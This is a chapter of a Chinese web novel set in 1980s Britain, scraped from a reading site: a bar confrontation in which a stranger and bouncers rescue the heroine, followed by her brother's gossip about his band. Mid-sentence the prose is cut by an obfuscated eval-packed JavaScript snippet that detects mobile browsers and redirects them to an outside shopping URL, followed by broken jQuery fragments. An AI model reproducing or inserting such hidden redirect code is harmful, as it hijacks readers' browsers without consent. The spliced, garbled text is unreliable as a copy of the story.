文趣网 > 其他小说 > 1980s英国作曲佳人 > 7. 冲突
    “再来一瓶威士忌。”切斯对侍者喊道,转过身对伯纳德举起了酒杯,酒里的冰块还冒着丝丝寒气,“感谢您的支持。”

    伯纳德将身体往身后的沙发一靠,同样举起酒杯,将杯中的酒一饮而尽,然后看向切斯,却发现他的目光正盯着酒吧的一角,看得有些出神。

    今天谈生意的时候,伯纳德就发现切斯有些心不在焉,余光时不时会朝着角落里看过去。

    伯纳德从口袋里掏出一盒雪茄,抽出一根递给切斯:“抽吗?”

    切斯收回目光:“不了,谢谢。”

    伯纳德不以为意,将雪茄点燃,深吸了一口,从嘴里吐出一个烟圈,才缓缓开口:“我不知道原来你喜欢那样的妞,原本我一直以为你不近女色,原来是没见到喜欢的。”

    “不是,只是有些好奇罢了。”切斯与其顿了顿,具体是在好奇什么,他并没有详细说明,而是话锋一转,“说起来在台上击鼓的是你的弟弟吧,我看他搞得真挺像模像样的。”

    一说起不务正事的弟弟,伯纳德的注意力果然立刻被转移了,伯纳德嗤笑一声:“他一个乐队能搞出什么名堂出来,不给我惹事就不错了……”

    话还没说完,只见切斯猛地站起身,伯纳德错愕地问:“你要去哪儿?”

    ……

    伊芙琳正十分投入地看着乐队的演出,突然被挡住了视线,被打断的感觉让她有些不爽。

    “嗨,美女,一个人坐在角落里不寂寞吗?要不要跟我去舞池里跳个舞啊!”一个莫西干造型,头发染得像大公鸡羽毛般的小混混青年向她发出了邀请。

    “不了,我喜欢一个人待着。”伊芙琳冷酷地拒绝,屁股直接挪出半个身子,继续朝舞台望去,连个多余的眼神都不愿施舍给对方。

    原因无他,这造型实在是太杀马特了,加上那画得像鬼一样的粗厚全包眼线,是八字弱的人多看一眼都会做噩梦的程度。

    莫西干头被拒绝了并不气馁,反而越挫越勇:“我看你面生,是第一次来‘大熊’玩吧,你不用害羞,那边我还有几个朋友,跟我去包你玩得爽!”

    “没兴趣!麻烦让让,你挡到我看演出了。”伊芙琳斩钉截铁地回绝,对于在酒吧里凑上来的搭讪,委婉地拒绝只会让对方认为你在欲拒还迎,直接了当地拒绝才是正确的做法。

    莫西干头被屡次拒绝,又喝了点酒,心中的火“噌”地一下就上来了:“喂!别给脸不要脸,像你这种故作清高的女人。我以前没有见过一千,也有一百了。在这给老子装什么装呢?”

    说罢,伸手就抓住了伊芙琳的手,想要硬拉她往舞池的方向走。

    伊芙琳被用力一拽,身体瞬间往前倒,好在她之前对莫西干头已经存有戒心,很快就稳住了身体,她低声怒喝道:“给我放手,听不懂人话的蠢蛋!”

    伊芙琳用余光一瞥,顺手抄起了隔壁桌上顾客喝光的空酒瓶,然后双目怒视着莫西干头,她现在并不想把事情闹大,毕竟罗伊的乐队还在台上演出呢,她第一次来就在酒吧引发矛盾,她不想给罗伊带来麻烦。

    但如果这该死的公鸡头实在听不懂人话,那她也不介意给对方点颜色看看,伊芙琳死死地握住瓶颈想。

    莫西干头没想到伊芙琳居然敢接二连三地下他的面子,心里的怒火更盛了。

    他观察了很久,发现伊芙琳一直独坐着,没有同伴也不喝酒,未施粉黛的模样,连去舞池都不敢,只会傻傻地看演出。

    莫西干头认定伊芙琳就是那种平日里在学校木讷涉世未深的女生,估计从来都没来过酒吧,只要随便哄一哄,就能轻易上手。

    现在见伊芙琳不上道,还敢骂他,莫西干头举起手掌就要对她扇过去:“你居然敢骂老子,看来是欠收拾了!”

    伊芙琳看他举起手,就知道要不好,她隔着一两米就能闻见莫西干头身上的酒味,看来这家伙是准备耍酒疯了,与其被他打,不如先下手为强。

    对不住了,罗伊,看来你可能要再换一份工作了。

    伊芙琳一边想着,一边举起了啤酒瓶。

    “住手!”正当两人之间的大战一触即发,没想到莫西干的手却被人握住了。

    “干什么?”莫西干头被人阻止,扭头不爽地吼道。

    切斯朝着莫西干头笑笑,但笑意却未达眼底:“对女士动手不太好吧?”

    “这是我们两个人之间的事,你少多管闲事!”莫西干头用力挣扎,却发现眼前这个体形看似偏瘦的男人手劲出奇地大,无论怎么甩都无法从他的手中挣脱出来。

    切斯再度笑笑,手却依然牢牢抓住莫西干头的胳膊:“没看到这位小姐不愿意吗?既然人家不愿意,体面地退场才是一位绅士真正该做的,而不是死缠烂打。”

    莫西干头恼羞成怒:“关你屁事!你再不放手我连你一起打!”

    他刚说完,下一秒切斯就松手了。

    莫西干头轻哼一声:“算你识相。”

    切斯没接话,身体一侧,从他身后走出两个彪形大汉,莫西干头立刻酒醒了大半,眼神都变得清澈起来。

    这两个大汉身穿的制服他认识,是店里的保镖,仅仅是一个往外请的手势,莫西干头便不敢造次,灰溜溜地跟着他们往门外走了。

    “您没受伤吧?”

    直到切斯关怀的声音传来,伊芙琳才将目光从切斯的脸上移开。

    这家伙长得也太好看了吧!和现在要么是肌肉男,要么是华丽妆容的阴柔男的两极分化审美不同,眼前的青年一头浓密的黑色卷发,眼窝深邃,鼻梁挺直修长,下颌角干净流畅,整张脸棱角与柔和并存。

    刚刚抓过莫西干头的手骨节分明,灰蓝色瞳孔中有一种属于上位者的沉着和自信,有一种克制又慵懒的气质。

    看呆了的伊芙琳连忙将啤酒瓶放在一旁,掩饰般摆摆手:“我很好,谢谢你的解围。”

    切斯正想要开口,突然从一旁传来罗伊的声音:“伊芙琳!”

    他演出一结束,就急匆匆地赶过来,连演出服都没来得及换,他一把握住伊芙琳的肩膀,紧张地上下观察:“刚刚那该死的家伙没伤害到你吧?”

    罗伊在台上忘情地歌唱着,等唱完了才发现伊芙琳这边出了状况,吓得他把吉他往队友手里一塞,就从舞台旁边跑过来了。

    “多亏了这位先生及时出手,我才安然无恙。”

    听了伊芙琳的话,罗伊的心放回了肚子里,才注意到一旁站着的切斯,感激地对切斯伸出了手:“谢谢你救了我的妹妹,我叫罗伊·米尔顿。”

    “切斯·欧文斯。”切斯回握罗伊的手,他看到罗伊握住伊芙琳肩膀的时候,眉头微不可察地皱了一下,但得知罗伊是伊芙琳的哥哥后,眉头顿时松开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913301|213218||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了,“举手之劳罢了。”

    罗伊和切斯说了几句感激的话,就带着伊芙琳离开了。

    切斯看到了罗伊身上的演出服,认出了他是乐队的主唱,没说什么,沉默地看着两人离开。

    ……

    “我以为‘大熊’是鲍勃家的地盘,没人敢闹事的,没想到就一会儿,就出了这种问题。”罗伊叹了口气,随即豪横地说道,“下次再遇到这种不长眼的人,不要害怕,你直接叫保安就行。或者你直接叫我,敢动我妹妹,我给他点颜色瞧瞧!”

    伊芙琳怀疑地上下打量罗伊细长瘦削的体型,就他这身板,估计真干仗起来,一拳就能把他打趴下。

    不过伊芙琳敏锐地抓住了罗伊话里的重点:“你说‘大熊’是鲍勃的地盘,是什么意思?”

    “哦,沃德街这一带都是由他们家管的,一般的小混混是不敢太放肆的。”

    “那‘大熊’难不成是他家开的?”伊芙琳惊讶地抬了抬眉。

    “是呀,要不然你以为,我们这个寂寂无闻的小乐队,凭什么能在大酒吧登台演出啊!”罗伊理所当然地点头,完全没有任何吃软饭的羞愧感,大方承认了。

    “工资也是他给你开的?”

    “对啊,所以鲍勃就是我的老板,不只是我,还有桑尼,也是他的员工。”

    伊芙琳恍然大悟:“难怪桑尼被打的时候那么能忍气吞声呢。”

    “你可不要可怜他。”罗伊赶紧开口,生怕伊芙琳对桑尼有意思,“他平时可风流了,上一任吉他手约翰就是因为女朋友被他绿了,才离队了。”

    “什么!”伊芙琳大吃一惊。

    罗伊怕她不信,开始向她吐槽乐队里的各种瓜:“桑尼这家伙吧,实在是太爱玩了,男女关系总是理不干净。他嘴巴可会哄人了,有一次醉酒,不知道怎么的,就和约翰的女朋友滚了床单。”

    “呃,然后呢?吉他手不闹吗?”伊芙琳无语,但考虑到玩乐队的圈子对酒精和性要更开放一些,并不是很意外。

    但俗话说兔子不吃窝边草,睡队友的女朋友太没品了吧。

    “闹啊,当然闹。”罗伊点头,“约翰把桑尼狠狠揍了一顿。但说实话,到这个地步,还想要两个人同时留在乐队里是不可能的了。”

    “那为什么是吉他手走了,明明是桑尼的错好吧。”

    “我一开始也是这么想的,后来私底下韦伦跟我透露说,其实约翰早就有离开的念头了。”罗伊挠挠头,“毕竟我们乐队组建了一段时间,并没有闯出什么名头,他说待在乐队里看不到未来。”

    所以睡女朋友不过是压死骆驼的最后一根稻草罢了。

    伊芙琳深表解,搞音乐就是这样的,做业余爱好可以,但想要当成饭碗来吃,社会就会立刻教你做人。在这行想要出头比简直登天还难,无论是现在还是未来,能熬出名气的乐队凤毛麟角。

    “约翰走了,考虑到桑尼的技术,一时半刻之间想要找到一个好的贝斯手也不容易,最后还是让他留下来了,只不过鲍勃说,如果再犯一次,就让他立马走人。所以你可千万别被桑尼那个小白脸给骗了。”罗伊再次警告道。

    说别人是小白脸,但伊芙琳看到自己哥哥的那张脸,觉得他更符合一些。

    她没有回话,反而冷不丁地抛出自己的问题:“那你呢,打算在这个乐队混多久?”